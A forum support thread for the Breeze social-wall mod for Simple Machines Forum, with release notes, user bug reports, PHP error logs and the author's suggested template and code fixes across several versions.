Alert people when I or a person I sent a buddy invitation to accept and confirms the buddy invitation
If user X or user Y has that option enabled, a log will be done with something like this:
user X and user Y have become buddies!.
If user Y rejects the invite, user Y has the possibility to put user X into a "block list" so that user X cannot send more invites to user Y, this is different than the regular ignore list. User X will not know that user Y has him/her in that list, whenever user x tries to send an invitation, a general error will appear:
"you cannot send a buddy invitation to this user"
The same happens to people in your ignore list.
Still looking for ideas to improve the whole profile and the general wall template and add other "user events" that might be worth adding it to the user's "recent activity" stream.
Nice.
(https://fbcdn-sphotos-g-a.akamaihd.net/hphotos-ak-xap1/v/t1.0-9/11058509_955490707796824_1086874556567450037_n.jpg?oh=6b2ddbeeccca101974315eaed5386b4a&oe=557DD059&__gda__=1434596997_01606d4f392e424173b774331f4ba3fd)
Honda approves!
A new version has been released, this pushes the version number to 1.0.8.
The new package can be found in either this site's customization site or at github: https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.8
If anyone is interested on manually performing the changes, this page (https://github.com/MissAllSunday/Breeze/compare/v1.0.7...v1.0) can be used to locate all changes from 1.0.7 to 1.0.8
This new release fixes a security issue involving users been able to post status/comments as other users. Thanks to JSX3 for reporting it.
To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox. Then proceed to install the new version.
Quote from: Suki on June 29, 2015, 01:56:42 PM
A new version has been released, this pushes the version number to 1.0.8.
The new package can be found in either this site's customization site or at github: https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.8
If anyone is interested on manually performing the changes, this page (https://github.com/MissAllSunday/Breeze/compare/v1.0.7...v1.0) can be used to locate all changes from 1.0.7 to 1.0.8
This new release fixes a security issue involving users been able to post status/comments as other users. Thanks to JSX3 for reporting it.
To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox. Then proceed to install the new version.
gracias Suki por el mod, es el mejor en su categoría.
solo quería preguntar si vas a continuar mejorando esta versión de breeze para foros 2.0.x
te pregunto eso porque me gustaría que le agregaras las funciones que tiene la versión de breeze para foros 2.1
por favor mejoralo, para que ambas versiones de breeze tengan las mismas funciones, saludos
Lamentablemente no es posible hacerlo, la gran mayoría de mejoras incluidas en Breeze 1.1 dependen enteramente de funciones y caracteristicas que sólo están disponibles en SMF 2.1.
Unfortunately, it cannot be done, the vast majority of new features included in Breeze 1.1 depends entirely on functions and features only available on SMF 2.1.
Quote from: Suki on July 07, 2015, 09:34:01 AM
Lamentablemente no es posible hacerlo, la gran mayoría de mejoras incluidas en Breeze 1.1 dependen enteramente de funciones y caracteristicas que sólo están disponibles en SMF 2.1.
Unfortunately, it cannot be done, the vast majority of new features included in Breeze 1.1 depends entirely on functions and features only available on SMF 2.1.
:'( :'( :'(
ok Suki, many thanks, i love breeze
Hola Suki, he tratado de poner imagenes en los comentarios de breeze, pero solo sale el código bbc de la imagen con la url, no se ve la imagen, sabes la razón? ayuda por favor
Dear Suki,
I would like to thank you very much for making and sharing this mod. I've just installed the last version in my 2.0.10 smf forum and I've translated it's main language file as well. But I have important question now! as I understand at the moment you can just write plain text in status box and it is critical for our users to be able to share their personal photos or even videos on their own walls besides the text. Is there any way that the smf WYSIWYG editor works for status too? I'm sure that it is one of the planed features for future releases of this mod but I would be really grateful if you or other pros there guide me to do it now manually. I already searched the community and the only thing that I could find somehow relevant was this post (http://www.simplemachines.org/community/index.php?topic=254235.msg1650935#msg1650935). Honestly, I did not get so much from it and did not get it right where I should start the work! Do you think that solution may also be applied in my case?
Sorry, for my writing! I know my English is not well enough yet.
Thank you in advance.
No, currently the mod doesn't support the SMF editor and I don't plan to add that feature to the next version.
Both status and comments does support BBC tags though.
I had installed this mod - then the forum shows following Error:
Unknown column 'mem.gender' in 'field list'
Datei: /www/htdocs/w009ae80/ZB/Sources/Breeze/BreezeQuery.php
Zeile: 847
Frotend works again, but i cant repair the Backend.
Please help me
Thank you
Your member table should have a "gender" column, its a default column on every install, perhaps another mod mistakenly deleted that column in which case you should re add it back via phymyadmin or similar.
Quote from: Suki on August 04, 2014, 10:28:05 AM
Quote from: Tonyvic on August 04, 2014, 06:31:35 AM
Hi,
I am having trouble with 'Mentions', the dropdown does not appear at all.
I am using SMF 2.0.8 and PHP version 5.4.25
I have tried with IE 11 and Firefox 31.0
The mentions feature is enabled in the Main Breeze Admin Center, also the Membergroups permissions I am testing with are 'Allowed' to mention and appear on the mention list.
There are no other 'Mentions' Mods installed, any help would be appreciated.
Must be some JS error, chances are some other mod broke it.
Since this is becoming a recurrent issue, I will modify the code not to depend on $context['html headers'] for loading the necessary JS files as a lot of mod authors simply doesn't use that var properly.
Will take a look at it when I have some time.
Thank you for a mod that looks very nice, I just need to get to know it and solve a couple of problems :-)
1. I cannot get the mention/tagging to work.
Forum version: SMF 2.0.11
Server: PHP 5.3 + suphp
Firefox 41.0.2 og Chrome 46.0.2490.80
Permissons set like Tonyvic.
Modification Packages
1. Breeze 1.0.8
2. View Single Category 2.5
3. Like Posts 2.0.5
4. Tapatalk SMF 2.0 Plugin 4.3.2
5. Resize Attached Images 2.4.1
6. Simple Audio Video Embedder 3.5a
7. Embed Tumblr BBCode 2.4
8. Embed Tweet BBCode 1.1.1
9. Embed Facebook BBCode 2.9
10. Embed Instagram BBCode 1.11
11. AJAX Recent Topics 1.1
So you have any suggestion what could be causing the problem that the dropdown doesn't work?
2. Update not showingThe green part on top here is grey and there are no text when I'm posting.
(http://custom.simplemachines.org/mods/index.php?action-download;mod=3839;id=229517;image)
I have to update the browser in order to see me newest post/reply.
Are the problems related?
The image you posted isn't visible.
This mod will def not work with tapatalk or any other mod that completely replaces default files.
For the mentions stuff, check any error in the console log in Chrome and see if there is any error, can't really tell what what it is unless you provide a demo account and a link to your forum.
Quote from: Marceline on October 27, 2015, 11:09:42 AM
The image you posted isn't visible.
This mod will def not work with tapatalk or any other mod that completely replaces default files.
For the mentions stuff, check any error in the console log in Chrome and see if there is any error, can't really tell what what it is unless you provide a demo account and a link to your forum.
Thank you for your quick reply!
I'm sorry about the missing picture, I'll try again:
(http://custom.simplemachines.org/mods/index.php?action-download;mod=3839;id=229517;)
http://custom.simplemachines.org/mods/index.php?action=download;mod=3839;id=229517;image (http://custom.simplemachines.org/mods/index.php?action=download;mod=3839;id=229517;image)
Please PM me your email address and I'll give you access.
I will test it in Chrome now.
It would be much quicker to just pm a test account able to mention users 😉
Quote from: Marceline on October 27, 2015, 08:30:34 PM
It would be much quicker to just pm a test account able to mention users 😉
OK, I have sent you a PM now, hope you can get in.
All the ajax request returns with an "net::ERR_CONTENT_DECODING_FAILED" usually that means the server claims its using gzip to encode the content but it isn't actually doing it.
One way to solve it would be turning off gzip encoding form your SMF admin panel.
I also discovered that theres a missing ";" on the ajax call which pretty much prevents using mentions, I thought I already fixed this on previous versions :( I'll check it again and release a new version to fix this.
Quote from: Marceline on October 28, 2015, 10:45:22 AM
All the ajax request returns with an "net::ERR_CONTENT_DECODING_FAILED" usually that means the server claims its using gzip to encode the content but it isn't actually doing it.
One way to solve it would be turning off gzip encoding form your SMF admin panel.
Thank you! I couldn't find the gzip in the admin panel, but went to the database:
Table: Settings > enableCompressedOutput
Changed it from 1 to 0, I guess I turned the gzip off then?
Now it works in FF, but not in Chrome. I have not tested other browsers.
Try clearing your cache on Chrome.
To fix the missing comma open your Themes/default/js/breezeMention.js file, find:
url: smf_scripturl + '?action=breezeajax;sa=usersmention;js=1' + breeze.session.v + '=' + breeze.session.id,
And replace with:
url: smf_scripturl + '?action=breezeajax;sa=usersmention;js=1;' + breeze.session.v + '=' + breeze.session.id,
A new version has been released, this pushes the version number to 1.0.9.
The new package can be found in either this site's customization site or at github: https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.9
If anyone is interested on manually performing the changes, this page (https://github.com/MissAllSunday/Breeze/compare/v1.0.8...v1.0) can be used to locate all changes from 1.0.8 to 1.0.9
This new release fixes missing semicolon on an ajax call, preventing users from using the mentions feature.
To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox. Then proceed to install the new version.
Quote from: La Catrina on October 29, 2015, 12:45:39 PM
Try clearing your cache on Chrome.
To fix the missing comma open your Themes/default/js/breezeMention.js file, find:
url: smf_scripturl + '?action=breezeajax;sa=usersmention;js=1' + breeze.session.v + '=' + breeze.session.id,
And replace with:
url: smf_scripturl + '?action=breezeajax;sa=usersmention;js=1;' + breeze.session.v + '=' + breeze.session.id,
Sorry for the late reply, have been busy! I've updated. And discovered that the problem wad not the browser, but the user. In chrome I was logged in as the admin and since the admin was not in any of the normal groups it had not the rights to mention. Sorry for me being confusing, hope the explanation help someone else: Check out the permissions and group settings!
Thank you for a great mode. Please let me know how I may donate. I will also try to finish a Norwegian translation soon, but I'm real busy the next three weeks, so I will not make any promises.
I have just one last comment/question:
Would it be possible to call the wall-box on the front page? I would like it to appear at the top above the first board, so that people may publish to their wall without entering their profile.
The wall block heavily depends on data from the profile page so it would be somehow difficult to be able to add all that info on the front page. might be possible but it would be a huge modification and unfortunately I don't have that much free time, I prefer to spend time working on the new version.
With all the changes introduced in the new version it might be easier to add a popup/lightbox for people to post new status on it, will see what I can do about it.
I was wondering if someone could point me in the right direction to fix a little issue(it's an OCD thing) that I'm having. When in the Profile there's a little "wall" button that throws off the alignment and it just bugs me.
(http://i.imgur.com/KDIN2to.png)
I don't know if it's a theme issue or what but I'd love to be able to raise that button up or move it if possible.
Can I see a link to a profile on your forum?
Thank you for the reply. My profile link is http://rejectsreststop.com/forum/index.php?action=profile;area=summary;u=1
Guest can't see the profile menu re-arrange, can you please pm a regular user account
Quote from: chrishicks on November 25, 2015, 03:52:32 PM
Thank you for the reply. My profile link is http://rejectsreststop.com/forum/index.php?action=profile;area=summary;u=1
I've looked at the profile page and I saw the wall button but I'm not sure what you want to do with it.
That wall button is used to go back to the wall page, th mod adds 3 tabs, wall, about me and recent activity, if you don't use the other features and want to remove that button look in your /Themes/default/Breeze.template.php
find this:
<ul class="dropmenu breezeTabs">
<li class="wall"><a href="#tab-wall" class="active firstlevel"><span class="firstlevel">', $txt['Breeze_tabs_wall'] ,'</span></a></li>';
// The "About me" tab.
if (!empty($context['Breeze']['settings']['owner']['aboutMe']))
echo '
<li class="about"><a href="#tabs-about" class="firstlevel"><span class="firstlevel">', $txt['Breeze_tabs_about'] ,'</span></a></li>';
// Does recent activity is enable?
if (!empty($context['Breeze']['settings']['owner']['activityLog']))
echo '
<li class="activity"><a href="#tab-activity" class="firstlevel"><span class="firstlevel">', $txt['Breeze_tabs_activity'] ,'</span></a></li>';
echo '
</ul>
replace with this:
<ul class="dropmenu breezeTabs">
</ul>
I have a question. Is it possible to pull status updates from all users instead of only buddies for the wall page?
Also, I did try the solution from a post on page 2 of this topic (I can't post links or I would direct right to it). It looks like that code has been included in later versions of Breeze. When I use the code suggested for the PHP block, I do get the most recent status updates, but they are all smooshed together with no way to tell who made them or anything like that. Does anyone have any pointers for teasing them apart so at least the statuses are displayed separately?
Please, where are the admin settings for this mod located? I added ?action=admin;area=breezeadmin;sa=settings to my link and it just takes me to the general administration area but there is no mention of Breeze there. I didn't get redirected after the installation.
Thanks so much.
Never mind..... it says it installed successfully but it didn't. Danged package manager... >:(
A new version has been released, this pushes the version number to 1.0.10
1.0.10 May 24, 2016
- Update atwho and caret, use min versions.
- Add support for Ohara youtube mod.
- Remove purify call on submitted content to prevent double encoding.
To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox. Then proceed to install the new version.
I have profile song on my forum is possible to add to the wall?
http://custom.simplemachines.org/mods/index.php?mod=2159
Open your Themes/default/Breeze.temlate.php file, find this:
// End of left block
echo '
</div>';
After that open a new div and put the song' player on it:
if(isset($context['member']['song']) && !empty($context['member']['song']))
echo '
<script type="text/javascript" src="',$boardurl,'/swfobject.js"></script>
<div id="song"> </div>
<script type="text/javascript">
var so = new SWFObject("',$boardurl,'/player.swf","profilesong","',!empty($modSettings['player_width']) ? ''.$modSettings['player_width'].'' : '300','","',!empty($modSettings['player_height']) ? ''.$modSettings['player_height'].'' : '81','","9","#ffffff");
so.addParam("allowfullscreen","true");
so.addParam("allowscriptaccess","always");
so.addParam("wmode","opaque");
so.addVariable("file","', $context['member']['song'], '");
',!empty($modSettings['player_plugins']) ? 'so.addVariable("plugin","'.$modSettings['player_plugins'] .'");' : '','
',!empty($modSettings['player_volume']) ? 'so.addVariable("volume","'.$modSettings['player_volume'] .'");' : 'so.addVariable("volume","80");','
',!empty($modSettings['player_skin']) ? 'so.addVariable("skin","'.$modSettings['player_skin'] .'");' : '','
',!empty($modSettings['player_width']) ? 'so.addVariable("width","'.$modSettings['player_width'] .'");' : '','
',!empty($modSettings['player_height']) ? 'so.addVariable("height","'.$modSettings['player_height'] .'");' : '','
',!empty($modSettings['player_image']) ? 'so.addVariable("image","'.$modSettings['player_image'] .'");' : 'so.addVariable("image","'.$context['member']['avatar']['href'] .'");','
',!empty($modSettings['player_repeat']) ? 'so.addVariable("repeat","true");' : '','
',!empty($modSettings['player_autostart']) ? 'so.addVariable("autostart","true");' : '','
so.write("song");
</script>';
else
echo $txt['profile_song_none'];
Thanks.
Hi,
When using "action=who" I'm getting this a lot:
Unknown Action (Action: breezeajax -> fetchNoti)
I've been able to confirm that the users have not yet activated their walls (it's a new forum). Is there any sort of edit that would keep "action=who" from being affected this way?
Thanks so much.
Quote from: Grammy on July 24, 2016, 04:40:03 PM
Hi,
When using "action=who" I'm getting this a lot:
Unknown Action (Action: breezeajax -> fetchNoti)
I've been able to confirm that the users have not yet activated their walls (it's a new forum). Is there any sort of edit that would keep "action=who" from being affected this way?
Thanks so much.
Little bump; just when you get time.
That's okay; I've decided to just uninstall it. Thanks, anyway.
turkish lang download http://www.simplemachines.org/community/index.php?topic=549946.0
and http://smf.konusal.com/index.php?action=downloads;sa=view;down=74
PT-BR Translation :D
New version 1.0.11
- Add Turkish and Portuguese_Brazilian translations
- Normalize and schemaless the support url
- Remove the "live from the support site" rss box
Quote from: Suki on March 02, 2015, 08:02:07 PM
Anyone with a SMF 2.1 test install who wants to help out debugging it is welcome to get the latest package from github (https://github.com/MissAllSunday/Breeze).
Can't get purpose for Recent activity where we can find: Your buddies doesn't have any activities recorded.
Despite that, everything seems work fine in 2.1
The recent activity is based on your buddies activity but it must be activated by the person you follow, if that person doesn't want to share their activity then nothing will appear.
I don't remember exactly how many activities are tracked but they are a few more than 1.0 version. You can select what activities to share on your profile page.
Oh I see now.
But is it not better to show everything by default, and let members to hide their activity if they do not want to appear in Wall?
I just installed the new version of the breeze mod (1.0.11) and it crashed my forum. This is the error message it displayed.
QuoteTemplate Parse Error!
There was a problem loading the /Themes/default/languages/BreezeAdmin.english.php template or language file. Please check the syntax and try again - remember, single quotes (') often have to be escaped with a slash (\). To see more specific error information from PHP, try accessing the file directly.
You may want to try to refresh this page or use the default theme.
syntax error, unexpected ','
Any help on how to fix this will be appreciated.
Thanks
That's interesting.
The faulty line is
$txt['Breeze_page_welcome'] = 'This is your "Breeze Admin Panel". From here, you can edit the settings for Breeze If you have any trouble, feel free to <a href="', Breeze::$supportSite ,'" target="_blank" class="new_win">ask for support</a> on the author\'s site.';
.. which with my limited skills should be
$txt['Breeze_page_welcome'] = 'This is your "Breeze Admin Panel". From here, you can edit the settings for Breeze If you have any trouble, feel free to <a href="'. Breeze::$supportSite .'" target="_blank" class="new_win">ask for support</a> on the author\'s site.';
Similarly with a further occurence later in that file.
New version:
1.0.12 May 5, 2017
- Concatenation on $txt strings
- Add a "live from the support site" atom box
- Use caret and atwho min versions on single status page
- Update atwho.js
Thanks for the update, the new V 1.0.12, work just fine.
Installed V1.0.12 with no errors using SMF 2.0.14 and PHP7 but after enabling the mod in ones settings and hitting save get the following error:
"Function name must be a string"
Not expecting a fix, just thought I'd mention it
What version of php?
7.0
I know this topic hasn't been posted in in quite a while but I was wondering if someone could tell me if it's possible to eliminate the general wall completely. I've had some issues turn up today because of it(general wall ignores users ignore lists which opens a can of worms for people) and would just prefer to remove the general wall if I can to kill the issue because I'd hate to dump the mod.
That counts as a bug, will take a look and release a fix for it. In the meantime open your Breeze/BreezeWall.php file and find this part:
if ($user_info['is_guest'])
redirectexit();
remove the if ($user_info['is_guest']) and that will guide your users to your boardindex whenever they attempt to enter the general wall.
Theres also a setting for enabling/disabling the general wall, try using that option first.
Thank you for the reply Suki. For now I did the code edit as I don't have a setting in Admin Panel for enabling/disabling the general wall. For me it's in each users profile that they can turn on/off themselves which is how my issue started.
Main admin:
https://imgur.com/vz5QUau
https://imgur.com/stu3DUo
And in each users profile:
https://imgur.com/qq8Igu6
Ohh, I see, will include an admin setting for it too. Thank you for reporting it.
New version 1.0.13:
1.0.13 March 17, 2018
- Add admin setting for the general wall
- Prevent loading status and activity from users on your ignored list.
To upgrade uninstall any previous version and install the current one.
Thank you for the update Suki.
Updated from smf 2.0.15 to 2.1 beta4 and encountered this error. It seems i forgot to uninstall the mod. What should i do now?
Field 'breeze_profile_views' doesn't have a default value
File: /home/*.*/public_html/Sources/Subs-Members.php
Line: 710
ok. now i messed up everything. tried installing Breeza and i am stuck with the error across whole forum. Kindly help me resolve this. can't uninstall it as well.
Unknown column 'mem.gender' in 'field list'
File: /home/*.*/public_html/Sources/Breeze/BreezeQuery.php
Line: 877
There is an specific version of Breeze for SMF 2.1, try using that but be aware that is still in development: https://github.com/MissAllSunday/Breeze/archive/develop.zip
Hello, i would like to report about something, installation went fine with no errors, turned on all options for breeze. But i am getting the following errors behind the scenes, when i try to post something it does not go through.
This is what happens when i try to post
(https://ksource.asia/press/images/2018/08/19/4beb8f32e1383cf4eb6b3d29ca5d39cb.md.png) (https://ksource.asia/press/image/NtlG)
My error log is full of this, i suspect this is the issue
8: Undefined property: BreezeAjax::$ArrayApply File: /xxx/xxx/xxxxx/www/ksource.asia/Sources/Breeze/BreezeAjax.php
Line: 106
Hope i can get some help.
Edit - Forget to add these, running php 7 with smf 2.0.15
For future members who would like to install this mod, php 7 is not supported, moving back to php 5.6 works.
New version (https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.14):
1.0.14 August 26, 2018
- Add support for PHP 7.
Quote from: Suki on August 26, 2018, 05:58:38 PM
New version (https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.14):
1.0.14 August 26, 2018
- Add support for PHP 7.
I am unable to get this working. It seems to install OK and I get the message that it does. But then a few seconds later it gets redirected to another message that says
An Error Has Occurred!
Unable to load the 'BreezeAdmin' template.
I have changed all the permissions to make everything writable but no luck. Nor do I see anything different when looking at someone's profile.
Is this for SMF 2.0.x?
Make sure the following files are present on your themes/default/ folder:
Breeze.template.php
BreezeAdmin.template.php
BreezeFunctions.template.php
If not, add them there.
Hi suki can you please update the sinple portal block from page 2
Cheers
Oh my! it certainly needs an update, will see if I can do it over the weekend.
Thanks your a star ;)
Sorry Suki im gona bump this any chance of an update on simple portal block??
Yeah, don't have too much time these days.
If you mean the block from https://www.simplemachines.org/community/index.php?topic=520127.msg3681888#msg3681888
It should still work, I just tested in with an SP block
Strange I must be doing something wrong I keep getting an error Function name must be a string.
What PHP version are you using?
I'm currently using 7.0
Running Breeze 1.0.14 in 2.0.15 php 7.0.33. Admin -> Members is broken, getting this error -
syntax error, unexpected '||' (T_BOOLEAN_OR)
Error log:
eval disabled -
/forum/index.php?action=admin;area=viewmembers;d025845c9dbc=989f13867ef19d84520afb46d821e575
Undefined index: description
/forum/Themes/default/GenericMenu.template.php
Line: 303
/forum/index.php?action=admin;area=viewmembers;d025845c9dbc=989f13867ef19d84520afb46d821e575
Undefined index: title
File: /forum/Themes/default/GenericMenu.template.php
Line: 291
eval enabled -
/forum/index.php?action=admin;area=viewmembers;d025845c9dbc=989f13867ef19d84520afb46d821e575
Undefined index: description
/forum/Themes/default/languages/Breeze.english.php (generic_menu_sidebar_above sub template - eval?)
Line: 303
/forum/index.php?action=admin;area=viewmembers;d025845c9dbc=989f13867ef19d84520afb46d821e575
Undefined index: title
/forum/Themes/default/languages/Breeze.english.php (generic_menu_sidebar_above sub template - eval?)
Line: 291
Is this mod still being supported?
Since this mod doesn't edit GenericMenu.template.php (and the with-eval statement is just lies which is why it says "eval?"), it's not this mod...
Crap, that's what I was afraid of. Now I'll have to back them out one at a time until I get the bugger. No doubt it'll be the last one. >:(
GenericMenu.template.php is core, hasn't been modded (we started with clean install). Replaced it anyway from upgrade package, same problem. ???
The undefined errors are because something has mis-configured the admin menu code (this is trivially easy to do by accident)
The syntax error is more troubling, but needs more info as to where and how.
That's all it's giving me, no corresponding error in log. Uninstalled Breeze, same errors, but now eval is referencing O'Hara Youtube Embed. I'll have to uninstall the rest to find it.
Leave eval off, it lies in every case and only slows your site down. (It was a good idea in 2003 but the world has moved on.)
Bit concerned that you're not getting the real fatal error in some log somewhere.
Less work to dump the install, uploading clean package now.
I have been using this mod for years with great joy. I would like to display its output with the profile.template.php page that is when a user goes to another members profile it should display the conent of this mod.
Any advice on how to achieve this?
Thank you
Can you give some examples of what you want to achieve, maybe a screenshot of the page where you want the content to be displayed along with info about your theme and forum version.
Hello Suki,
thanks for your message.
I would like to display a members wall content on their profile page. So visiting their profile another member will see what recent actions they have done.
So that function from breece should be displayed in profile.template.php
Thank you
PS: Screenshots are fom SMF 1.1.23
The screenshot you provided doesn't look like Breeze as it has features that his mod doesn't have and this mod is not compatible with 1.1.x SMF versions
Hello Suki,
it is running:
* SMF Social Network PRO
* Version 1.1
* © MonoTiz.com
I think that has been what turned into Breeze if I am not mistaken?
Nope, Breeze is a independently developed mod and has no connection with any other mod
Oh I see. Sorry!
Hello!
Just a question!
Being a mod that allows you to send updated statuses at the moment, will there be an update for 2.1 RC1, 2, 3?
Thank you in advance!
Yes, I've been actively refactoring (https://github.com/MissAllSunday/Breeze) it to support SMF 2.1
Will there be a 2.1 version of this Mentions mod ?
Quote from: aegersz on May 03, 2021, 02:06:32 AM
Will there be a 2.1 version of this Mentions mod ?
um this is the breeze mod.....
and the post right above yours
Quote from: Suki on January 09, 2021, 07:19:37 PM
Yes, I've been actively refactoring (https://github.com/MissAllSunday/Breeze) it to support SMF 2.1
Oops my mistake :-[
I know this mod says 2.0.15 but I have it working on a 2.0.18 test board but getting the following error:
Quotehttps://xxxxx.com/xxxxx/index.php?action=profile;area=summary
2: count(): Parameter must be an array or an object that implements Countable
File: /xxxxx/xxxxx/xxxxx/Sources/Breeze/BreezeUser.php
Line: 124
Here is line 124:
if (!empty($context['Breeze']['max_users']) && count($context['Breeze']['views']) >= $context['Breeze']['max_users'])
Any ideas?
I believe it had something to do with this option in admin:
QuoteHow many users does an user can show on their visitors and buddies block?
If the user has more users than the specified setting, their entire list will be converted to a more compact links list. Leave at 0 to disable this option.
I disabled it by setting it to 0 and not getting the errors now. ;)
Its more related to your PHP version rather than the SMF version. Its weird, breezeTrackViews() its supopose to always return an array, perhaps theres some logic flaw somewhere. if you could do a quick test and put:
var_dump($context['Breeze']['views']);
right above that line and post the result here I can give you some quick solution for it.
Still getting the same error just now says line 125.
I installed a back trace mod and it says:
Quote#0 /Sources/Profile.php(731): breezeWall(string)
#1 /index.php(190): ModifyProfile()
#2 {main}
If that helps any?
Also I'm running PHP7.3
Also just noticed after adding the code above, I went and looked at my profile page and it has "bool(false)" at the top left corner of the page.
Yeah that code wasn't suppose to solve the issue but to help debugging.
It seems that for whatever reason breezeTrackViews() is returning a boolean instead of the needed array type, that can be solved by return type declarations but that requires php7 so instead do this, remove that var_dump() line and replace:
if (!empty($context['Breeze']['max_users']) && count($context['Breeze']['views']) >= $context['Breeze']['max_users'])
with:
$context['Breeze']['views' = (array) $context['Breeze']['views';
if (!empty($context['Breeze']['max_users']) && count($context['Breeze']['views']) >= $context['Breeze']['max_users'])
Quote from: Suki on June 01, 2021, 08:44:28 AM
$context['Breeze']['views' = (array) $context['Breeze']['views';
if (!empty($context['Breeze']['max_users']) && count($context['Breeze']['views']) >= $context['Breeze']['max_users'])
Ok did that but was getting:
Quotesyntax error, unexpected '=', expecting ']'
So I realized that both the ['views' needed changed to ['views'] so I fixed that and now in my error logs i get:
Quotehttps://xxxxx.com/index.php?action=profile
8: Undefined index:
File: /home2/xxxxx/xxxxx/Themes/CurveRoyale/BreezeFunctions.template.php (user_wall sub template - eval?)
Line: 315
#0 /Sources/Load.php(2444) : eval()'d code(224): breeze_user_list(array, string)
#1 /Sources/Load.php(2156): template_user_wall()
#2 /Sources/Subs.php(2984): loadSubTemplate(string)
#3 /index.php(193): obExit(NULL, boolean, boolean)
#4 {main}
Yeah there was a missing ], been responding from phone.
For that issues you will need to disable eval template, can't remember the exact admin setting but search in the admin panel for eval and it should appear, clean your cache and try again to see where is the real issue.
OK, made these changes and disabled evaluation of templates in Admin>Server Settings and here is the error log after changes and clearing cache:
Quotehttps://xxxxx.com/index.php?action=profile
8: Undefined index:
File: /home2/xxxxx/xxxxx/Themes/CurveRoyale/BreezeFunctions.template.php
Line: 315
#0 /Themes/CurveRoyale/Breeze.template.php(224): breeze_user_list(array, string)
#1 /Sources/Load.php(2156): template_user_wall()
#2 /Sources/Subs.php(2984): loadSubTemplate(string)
#3 /index.php(193): obExit(NULL, boolean, boolean)
#4 {main}
Also when I go to my wall page under "Profile Vistors" it shows:
Quote52 years ago.
visits:
Can you attach your Sources/Breeze/BreezeUser.php file here.
Here it is
Sorry for the late reply, that file appears to have a weird line count, adding multiple empty new lines, this is mostly caused by text editors opening php files, please use a code editor such as notepad++ for handling php files.
There is indeed a bug for new PHP versions, will try to release a fix for it shortly.
New version has been released: https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.15
To update uninstall and install using the package manager.
Quote from: Suki on June 20, 2021, 02:12:28 PM
New version has been released: https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.15
To update uninstall and install using the package manager.
Working good! Thanks! 8)
Found another small issue. When logged in as a regular member, I click on the admin profile/wall and get this error:
1rst time clicked:
QuoteAn Error Has Occurred!
The database value you're trying to insert does not exist: users
2nd time clicked:
QuoteAn Error Has Occurred!
Cannot use string offset as an array
Here are the Admin error logs:
Quotehttps://mysite.com/index.php?action=profile;u=1
Cannot use string offset as an array
#0 /index.php(134): fatal_error(string, string)
#1 {closure}(Error)
#2 {main}
Quotehttps://mysite.com/index.php?action=profile;u=1
The database value you're trying to insert does not exist: users
Function: loadMemberDataApply
File: /xxxxx/xxxxx/mysite.com/Sources/Load.php
Line: 1109
#0 /Sources/Subs-Db-mysql.php(873): error_backtrace(string, string, integer, string, integer)
#1 replacement__callback(array)
#2 /Sources/Subs-Db-mysql.php(1084): preg_replace_callback(string, array, string)
#3 /Sources/Load.php(1109): query(string, string, array)
#4 /Sources/Breeze/BreezeTools.php(286): loadMemberData(array, boolean, string)
#5 /Sources/Breeze/BreezeUser.php(725): loadUserInfo(array)
#6 /Sources/Breeze/BreezeUser.php(121): breezeTrackViews()
#7 /Sources/Profile.php(731): breezeWall(string)
#8 /index.php(185): ModifyProfile()
#9 {main}
Quotehttps://mysite.com/index.php?action=profile;u=1
2: array_keys() expects parameter 1 to be array, string given
File: /xxxxx/xxxxx/mysite.com/Sources/Breeze/BreezeUser.php
Line: 725
#0 /Sources/Breeze/BreezeUser.php(725): array_keys(string)
#1 /Sources/Breeze/BreezeUser.php(121): breezeTrackViews()
#2 /Sources/Profile.php(731): breezeWall(string)
#3 /index.php(185): ModifyProfile()
#4 {main}
Quotehttps://mysite.com/index.php?action=profile;u=1
8: Array to string conversion
File: /xxxxx/xxxxx/mysite.com/Sources/Breeze/BreezeUser.php
Line: 710
#0 /Sources/Breeze/BreezeUser.php(121): breezeTrackViews()
#1 /Sources/Profile.php(731): breezeWall(string)
#2 /index.php(185): ModifyProfile()
#3 {main}
Actually just tested again and after turning on the wall in each members profile settings, member to member gets the same errors as above when viewing other members profile/wall.
Logged in as admin, I can see and comment on every member profile/wall but not when logged in as a regular member.
Thank you for your testing, right now I'm somehow busy but will get back to this as soon as I can.
If you are familiar with github it will help me greatly if you can log those issues (https://github.com/MissAllSunday/Breeze/issues) if not thats ok, thank you agian for the testing done so far, greatly appreciate it.
Quote from: Suki on June 28, 2021, 11:56:16 AM
Thank you for your testing, right now I'm somehow busy but will get back to this as soon as I can.
If you are familiar with github it will help me greatly if you can log those issues (https://github.com/MissAllSunday/Breeze/issues) if not thats ok, thank you agian for the testing done so far, greatly appreciate it.
NP & Done! (https://github.com/MissAllSunday/Breeze/issues/310) 8)
Hi Shades. Can you please give it a try to this beta package and see if it fixes the issues?
Quote from: Suki on July 21, 2021, 06:23:24 PM
Hi Shades. Can you please give it a try to this beta package and see if it fixes the issues?
Hi Suki,
After enabling it in admin and also in my profile (as Admin) I get this error when going to my wall:
QuoteAn Error Has Occurred!
The database value you're trying to insert does not exist: users
Admin Error Logs:
Quotehttxx://*****.com/index.php?action=profile;area=summary;u=1
The database value you're trying to insert does not exist: users
Function: loadMemberData
File: /home2/*****/*****.com/Sources/Load.php
Line: 1109
#0 /Sources/Subs-Db-mysql.php(873): error_backtrace(string, string, integer, string, integer)
#1 replacement__callback(array)
#2 /Sources/Subs-Db-mysql.php(1084): preg_replace_callback(string, array, string)
#3 /Sources/Load.php(1109): query(string, string, array)
#4 /Sources/Breeze/BreezeTools.php(286): loadMemberData(array, boolean, string)
#5 /Sources/Breeze/BreezeUser.php(716): loadUserInfo(array)
#6 /Sources/Breeze/BreezeUser.php(122): breezeGetProfileViews()
#7 /Sources/Profile.php(731): breezeWall(string)
#8 /index.php(185): ModifyProfile()
#9 {main}
Quotehttxx://*****.com/index.php?action=profile;area=summary;u=1
2: array_keys() expects parameter 1 to be array, null given
File: /home2/*****/*****.com/Sources/Breeze/BreezeUser.php
Line: 716
#0 /Sources/Breeze/BreezeUser.php(716): array_keys(NULL)
